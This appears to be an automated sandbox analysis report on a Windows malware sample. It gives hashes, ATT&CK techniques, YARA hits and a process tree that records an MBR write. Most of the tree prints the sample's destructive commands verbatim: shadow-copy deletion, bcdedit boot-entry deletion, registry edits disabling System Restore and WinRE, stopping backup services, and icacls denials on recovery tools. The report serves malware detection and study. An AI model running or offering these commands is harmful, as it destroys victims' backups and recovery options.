7eaaa71567871e36a9a33e5f0ee1961ba737bb3b29627aec9a0af1c8b8847b08

Analysis

max time kernel
1s
max time network
89s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
24/05/2026, 16:03

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

Reason

Machine shutdown

General

Target
2026-05-24_6628cc2097a5636c9c276e7bcd4e028f_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc.exe
Size 730KB
Sample260524-thbb4aav6j
SHA256 7eaaa71567871e36a9a33e5f0ee1961ba737bb3b29627aec9a0af1c8b8847b08
MD5 6628cc2097a5636c9c276e7bcd4e028f
SHA1 cb5aa7717df63e83976f214ffe7a17b2c284e84f
SHA512 fed389527132dbcc051b6685b561ae6439903af4688ce39028b37e2167c9b1a5d861f03c657082fa142307e5d614e88691ada08a005aa6d28827a5b84a7f17d1
SSDEEP 6144:FvEbp12wnAWY0YGiuACwTN9Z2JA2XNy28qOr518mBLtxUGILJVaRth86cEcm:Sb9bCGiGMBwNNI1ymBzUGDth83EH
TLSH
T19DF4073AF71219ADC05F427B859687D2D5903645E334A6BB02B09D637AE34C24F3AFD2
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

bootkit defense_evasion discovery evasion execution impact persistence ransomware spyware stealer

Malware Config

Signatures

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Detects binaries (Windows and macOS) referencing many web browsers. Observed in information stealers 1 IoCs

resource	yara_rule
behavioral2/files/0x0002000000003a2f-13.dat	INDICATOR_SUSPICIOUS_Binary_References_Browsers

Detects command variations typically used by ransomware 1 IoCs

resource	yara_rule
behavioral2/files/0x0002000000003a2f-13.dat	INDICATOR_SUSPICIOUS_GENRansomware

Detects executables embedding registry key / value combination indicative of disabling Windows Defen 1 IoCs

resource	yara_rule
behavioral2/files/0x0002000000003a2f-13.dat	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender

Modifies boot configuration data using bcdedit 1 TTPs 22 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
5308	bcdedit.exe
5248	bcdedit.exe
3992	bcdedit.exe
5180	bcdedit.exe
3892	bcdedit.exe
2780	bcdedit.exe
2556	bcdedit.exe
1412	bcdedit.exe
5644	bcdedit.exe
1780	bcdedit.exe
5900	bcdedit.exe
3436	bcdedit.exe
5380	bcdedit.exe
4036	bcdedit.exe
4496	bcdedit.exe
4640	bcdedit.exe
2848	bcdedit.exe
504	bcdedit.exe
1236	bcdedit.exe
1748	bcdedit.exe
2528	bcdedit.exe
688	bcdedit.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Modifies file permissions 1 TTPs 5 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
5480	icacls.exe
2500	icacls.exe
1548	icacls.exe
2244	icacls.exe
2820	icacls.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Indicator Removal: Clear Persistence 1 TTPs 3 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
5200	cmd.exe
5468	cmd.exe
3244	cmd.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

System Binary Proxy Execution: Verclsid 1 TTPs 1 IoCs

Adversaries may abuse Verclsid to proxy execution of malicious code.

defense_evasion

Verclsid

T1218.012

pid	Process
296	verclsid.exe

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PhysicalDrive0	2026-05-24_6628cc2097a5636c9c276e7bcd4e028f_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc.exe

Launches sc.exe 14 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4772	sc.exe
404	sc.exe
5152	sc.exe
1696	sc.exe
3252	sc.exe
2076	sc.exe
2332	sc.exe
400	sc.exe
4260	sc.exe
3960	sc.exe
5008	sc.exe
3124	sc.exe
6032	sc.exe
6036	sc.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
2940	msedge.exe

Interacts with shadow copies 3 TTPs 4 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
2416	vssadmin.exe
2236	vssadmin.exe
3696	vssadmin.exe
1688	vssadmin.exe

Kills process with taskkill 14 IoCs

defense_evasion

pid	Process
6092	taskkill.exe
3104	taskkill.exe
5840	taskkill.exe
4616	taskkill.exe
2224	taskkill.exe
5332	taskkill.exe
5636	taskkill.exe
3568	taskkill.exe
3124	taskkill.exe
5988	taskkill.exe
5336	taskkill.exe
2260	taskkill.exe
2440	taskkill.exe
664	taskkill.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
4028	reg.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 2724 wrote to memory of 3964	2724	2026-05-24_6628cc2097a5636c9c276e7bcd4e028f_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc.exe	80
PID 2724 wrote to memory of 3196	2724	2026-05-24_6628cc2097a5636c9c276e7bcd4e028f_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc.exe	82
PID 3196 wrote to memory of 5308	3196	cmd.exe	84
PID 2724 wrote to memory of 5268	2724	2026-05-24_6628cc2097a5636c9c276e7bcd4e028f_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc.exe	85
PID 5268 wrote to memory of 5248	5268	cmd.exe	87
PID 2724 wrote to memory of 816	2724	2026-05-24_6628cc2097a5636c9c276e7bcd4e028f_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc.exe	88
PID 816 wrote to memory of 3992	816	cmd.exe	90
PID 2724 wrote to memory of 5792	2724	2026-05-24_6628cc2097a5636c9c276e7bcd4e028f_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc.exe	91
PID 5792 wrote to memory of 5180	5792	cmd.exe	93
PID 2724 wrote to memory of 4120	2724	2026-05-24_6628cc2097a5636c9c276e7bcd4e028f_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc.exe	94

Views/modifies file attributes 1 TTPs 3 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
3964	attrib.exe
3988	attrib.exe
3020	attrib.exe

C:\Users\Admin\AppData\Local\Temp\2026-05-24_6628cc2097a5636c9c276e7bcd4e028f_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc.exe
"C:\Users\Admin\AppData\Local\Temp\2026-05-24_6628cc2097a5636c9c276e7bcd4e028f_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc.exe"
1⤵
- Writes to the Master Boot Record (MBR)
- Suspicious use of WriteProcessMemory
PID:2724
- C:\Windows\SYSTEM32\attrib.exe
  attrib +h +s "C:\Users\Admin\AppData\Local\Temp\2026-05-24_6628cc2097a5636c9c276e7bcd4e028f_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc.exe"
  2⤵
  - Views/modifies file attributes
  PID:3964
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3196
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy ignoreallfailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5308
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {default} recoveryenabled No
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5268
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5248
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /delete {default} /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:816
- - C:\Windows\system32\bcdedit.exe
    bcdedit /delete {default} /f
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3992
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /delete {bootmgr} /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5792
- - C:\Windows\system32\bcdedit.exe
    bcdedit /delete {bootmgr} /f
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5180
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /delete {current} /f
  2⤵
  PID:4120
- - C:\Windows\system32\bcdedit.exe
    bcdedit /delete {current} /f
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3892
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /delete {memdiag} /f
  2⤵
  PID:5228
- - C:\Windows\system32\bcdedit.exe
    bcdedit /delete {memdiag} /f
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2780
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {globalsettings} advancedoptions false
  2⤵
  PID:3624
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {globalsettings} advancedoptions false
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2556
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {globalsettings} optionsedit false
  2⤵
  PID:4456
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {globalsettings} optionsedit false
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1412
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reagentc /disable
  2⤵
  PID:3472
- - C:\Windows\system32\ReAgentc.exe
    reagentc /disable
    3⤵
    PID:468
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wmic shadowcopy delete /nointeractive
  2⤵
  PID:3976
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete /nointeractive
    3⤵
    PID:1196
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c vssadmin delete shadows /all /quiet
  2⤵
  PID:3432
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:2416
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reagentc /disable 2>nul
  2⤵
  PID:1708
- - C:\Windows\system32\ReAgentc.exe
    reagentc /disable
    3⤵
    PID:5608
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c rd /s /q "C:\Recovery" 2>nul
  2⤵
  PID:5804
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c rd /s /q "%SystemDrive%\Recovery" 2>nul
  2⤵
  PID:2772
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c vssadmin delete shadows /all /quiet 2>nul
  2⤵
  PID:1228
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:2236
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wmic shadowcopy delete /nointeractive 2>nul
  2⤵
  PID:792
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete /nointeractive
    3⤵
    PID:2984
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v DisableConfig /t REG_DWORD /d 1 /f 2>nul
  2⤵
  PID:5912
- - C:\Windows\system32\reg.exe
    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v DisableConfig /t REG_DWORD /d 1 /f
    3⤵
    PID:2292
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f 2>nul
  2⤵
  PID:2336
- - C:\Windows\system32\reg.exe
    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f
    3⤵
    PID:5156
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f 2>nul
  2⤵
  PID:5292
- - C:\Windows\system32\reg.exe
    REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f
    3⤵
    PID:1044
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c rd /s /q "C:\Windows\System32\Recovery" 2>nul
  2⤵
  PID:1160
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config "wbengine" start= disabled 2>nul
  2⤵
  PID:788
- - C:\Windows\system32\sc.exe
    sc config "wbengine" start= disabled
    3⤵
    - Launches sc.exe
    PID:3252
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop "wbengine" 2>nul
  2⤵
  PID:2084
- - C:\Windows\system32\sc.exe
    sc stop "wbengine"
    3⤵
    - Launches sc.exe
    PID:5008
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c del /f /q "%SystemRoot%\System32\ResetEngine.exe" 2>nul
  2⤵
  PID:3796
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c del /f /q "%SystemRoot%\System32\pbr.exe" 2>nul
  2⤵
  PID:2732
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c del /f /q "%SystemRoot%\System32\recenv.exe" 2>nul
  2⤵
  PID:1688
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop "wbengine" 2>nul
  2⤵
  PID:4216
- - C:\Windows\system32\sc.exe
    sc stop "wbengine"
    3⤵
    - Launches sc.exe
    PID:3124
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config "wbengine" start= disabled 2>nul
  2⤵
  PID:4800
- - C:\Windows\system32\sc.exe
    sc config "wbengine" start= disabled
    3⤵
    - Launches sc.exe
    PID:6032
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop "SDRSVC" 2>nul
  2⤵
  PID:5700
- - C:\Windows\system32\sc.exe
    sc stop "SDRSVC"
    3⤵
    - Launches sc.exe
    PID:2076
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config "SDRSVC" start= disabled 2>nul
  2⤵
  PID:2864
- - C:\Windows\system32\sc.exe
    sc config "SDRSVC" start= disabled
    3⤵
    - Launches sc.exe
    PID:6036
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop "VSS" 2>nul
  2⤵
  PID:888
- - C:\Windows\system32\sc.exe
    sc stop "VSS"
    3⤵
    - Launches sc.exe
    PID:2332
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config "VSS" start= disabled 2>nul
  2⤵
  PID:4884
- - C:\Windows\system32\sc.exe
    sc config "VSS" start= disabled
    3⤵
    - Launches sc.exe
    PID:4772
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop "swprv" 2>nul
  2⤵
  PID:972
- - C:\Windows\system32\sc.exe
    sc stop "swprv"
    3⤵
    - Launches sc.exe
    PID:404
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config "swprv" start= disabled 2>nul
  2⤵
  PID:5432
- - C:\Windows\system32\sc.exe
    sc config "swprv" start= disabled
    3⤵
    - Launches sc.exe
    PID:5152
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop "vds" 2>nul
  2⤵
  PID:2480
- - C:\Windows\system32\sc.exe
    sc stop "vds"
    3⤵
    - Launches sc.exe
    PID:400
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config "vds" start= disabled 2>nul
  2⤵
  PID:2532
- - C:\Windows\system32\sc.exe
    sc config "vds" start= disabled
    3⤵
    - Launches sc.exe
    PID:4260
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop "Winmgmt" 2>nul
  2⤵
  PID:4752
- - C:\Windows\system32\sc.exe
    sc stop "Winmgmt"
    3⤵
    - Launches sc.exe
    PID:1696
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config "Winmgmt" start= disabled 2>nul
  2⤵
  PID:6096
- - C:\Windows\system32\sc.exe
    sc config "Winmgmt" start= disabled
    3⤵
    - Launches sc.exe
    PID:3960
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows\CloudContent" /v DisableWindowsConsumerFeatures /t REG_DWORD /d 1 /f 2>nul
  2⤵
  PID:5304
- - C:\Windows\system32\reg.exe
    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows\CloudContent" /v DisableWindowsConsumerFeatures /t REG_DWORD /d 1 /f
    3⤵
    PID:4644
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c REG ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v NoRepairOptions /t REG_DWORD /d 1 /f 2>nul
  2⤵
  PID:5044
- - C:\Windows\system32\reg.exe
    REG ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v NoRepairOptions /t REG_DWORD /d 1 /f
    3⤵
    PID:2588
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v DisableAdvancedStartupOptions /t REG_DWORD /d 1 /f 2>nul
  2⤵
  PID:4412
- - C:\Windows\system32\reg.exe
    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v DisableAdvancedStartupOptions /t REG_DWORD /d 1 /f
    3⤵
    PID:1028
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" /v WINREFLAGS /t REG_DWORD /d 0 /f 2>nul
  2⤵
  PID:5124
- - C:\Windows\system32\reg.exe
    REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" /v WINREFLAGS /t REG_DWORD /d 0 /f
    3⤵
    PID:432
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {default} bootmenupolicy standard 2>nul
  2⤵
  PID:5240
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootmenupolicy standard
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5644
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {default} recoveryenabled No 2>nul
  2⤵
  PID:3172
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1780
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {bootmgr} displaybootmenu no 2>nul
  2⤵
  PID:6040
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {bootmgr} displaybootmenu no
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5900
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {bootmgr} timeout 0 2>nul
  2⤵
  PID:4124
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {bootmgr} timeout 0
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3436
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {globalsettings} advancedoptions false 2>nul
  2⤵
  PID:5940
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {globalsettings} advancedoptions false
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5380
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {globalsettings} optionsedit false 2>nul
  2⤵
  PID:1420
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {globalsettings} optionsedit false
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:4036
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c schtasks /delete /tn "\Microsoft\Windows\RecoveryEnvironment\VerifyWinRE" /f 2>nul
  2⤵
  - Indicator Removal: Clear Persistence
  PID:5200
- - C:\Windows\system32\schtasks.exe
    schtasks /delete /tn "\Microsoft\Windows\RecoveryEnvironment\VerifyWinRE" /f
    3⤵
    PID:2272
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c schtasks /delete /tn "\Microsoft\Windows\WindowsBackup\AutomaticBackup" /f 2>nul
  2⤵
  - Indicator Removal: Clear Persistence
  PID:5468
- - C:\Windows\system32\schtasks.exe
    schtasks /delete /tn "\Microsoft\Windows\WindowsBackup\AutomaticBackup" /f
    3⤵
    PID:320
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c schtasks /delete /tn "\Microsoft\Windows\WindowsBackup\Windows Backup Monitor" /f 2>nul
  2⤵
  - Indicator Removal: Clear Persistence
  PID:3244
- - C:\Windows\system32\schtasks.exe
    schtasks /delete /tn "\Microsoft\Windows\WindowsBackup\Windows Backup Monitor" /f
    3⤵
    PID:5116
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c del /f /q "C:\sources\install.wim" 2>nul
  2⤵
  PID:1324
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c del /f /q "C:\sources\install.esd" 2>nul
  2⤵
  PID:5688
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c del /f /q "C:\Windows\System32\Recovery\winre.wim" 2>nul
  2⤵
  PID:5596
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c rd /s /q "C:\$WinREAgent" 2>nul
  2⤵
  PID:5508
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c rd /s /q "C:\Recovery" 2>nul
  2⤵
  PID:1908
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c del /f /q "F:\sources\install.wim" 2>nul
  2⤵
  PID:1072
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c del /f /q "F:\sources\install.esd" 2>nul
  2⤵
  PID:1328
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c del /f /q "F:\Windows\System32\Recovery\winre.wim" 2>nul
  2⤵
  PID:3804
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c rd /s /q "F:\$WinREAgent" 2>nul
  2⤵
  PID:2536
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c rd /s /q "F:\Recovery" 2>nul
  2⤵
  PID:4556
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c icacls "C:\Windows\System32\ResetEngine.exe" /deny Everyone:(F) /T /C /Q 2>nul
  2⤵
  PID:668
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\ResetEngine.exe" /deny Everyone:(F) /T /C /Q
    3⤵
    - Modifies file permissions
    PID:5480
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c icacls "C:\Windows\System32\pbr.exe" /deny Everyone:(F) /T /C /Q 2>nul
  2⤵
  PID:2544
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\pbr.exe" /deny Everyone:(F) /T /C /Q
    3⤵
    - Modifies file permissions
    PID:2500
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c icacls "C:\Windows\System32\recenv.exe" /deny Everyone:(F) /T /C /Q 2>nul
  2⤵
  PID:2552
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\recenv.exe" /deny Everyone:(F) /T /C /Q
    3⤵
    - Modifies file permissions
    PID:1548
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c icacls "C:\Windows\System32\rstrui.exe" /deny Everyone:(F) /T /C /Q 2>nul
  2⤵
  PID:1520
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\rstrui.exe" /deny Everyone:(F) /T /C /Q
    3⤵
    - Modifies file permissions
    PID:2244
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c icacls "C:\Windows\System32\reagentc.exe" /deny Everyone:(F) /T /C /Q 2>nul
  2⤵
  PID:5008
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\reagentc.exe" /deny Everyone:(F) /T /C /Q
    3⤵
    - Modifies file permissions
    PID:2820
- C:\Windows\SYSTEM32\attrib.exe
  attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe"
  2⤵
  - Views/modifies file attributes
  PID:3988
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument C:\Users\Admin\AppData\Local\Temp\music67.html
  2⤵
  PID:2168
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2e0,0x2e4,0x2e8,0x2dc,0x330,0x7ffeea76c188,0x7ffeea76c194,0x7ffeea76c1a0
    3⤵
    PID:5696
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1564,i,13735613932129192650,15825966722597439275,262144 --field-trial-handle=2856,i,13026874705589071737,5114059472388182156,262144 --variations-seed-version --mojo-platform-channel-handle=2588 /prefetch:2
    3⤵
    PID:5072
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1776,i,6782849327994889338,12194353914403030826,524288 --field-trial-handle=2856,i,13026874705589071737,5114059472388182156,262144 --variations-seed-version --mojo-platform-channel-handle=2944 /prefetch:11
    3⤵
    - System Time Discovery
    PID:2940
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2084,i,8953854690481265393,28186723097684160,524288 --field-trial-handle=2856,i,13026874705589071737,5114059472388182156,262144 --variations-seed-version --mojo-platform-channel-handle=2844 /prefetch:13
    3⤵
    PID:6104
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3448,i,16568600238635871886,7599721324240689588,2097152 --field-trial-handle=2856,i,13026874705589071737,5114059472388182156,262144 --variations-seed-version --mojo-platform-channel-handle=3508 /prefetch:1
    3⤵
    PID:5676
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3452,i,17155198322292523296,4421124753082485611,2097152 --field-trial-handle=2856,i,13026874705589071737,5114059472388182156,262144 --variations-seed-version --mojo-platform-channel-handle=3512 /prefetch:1
    3⤵
    PID:432
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
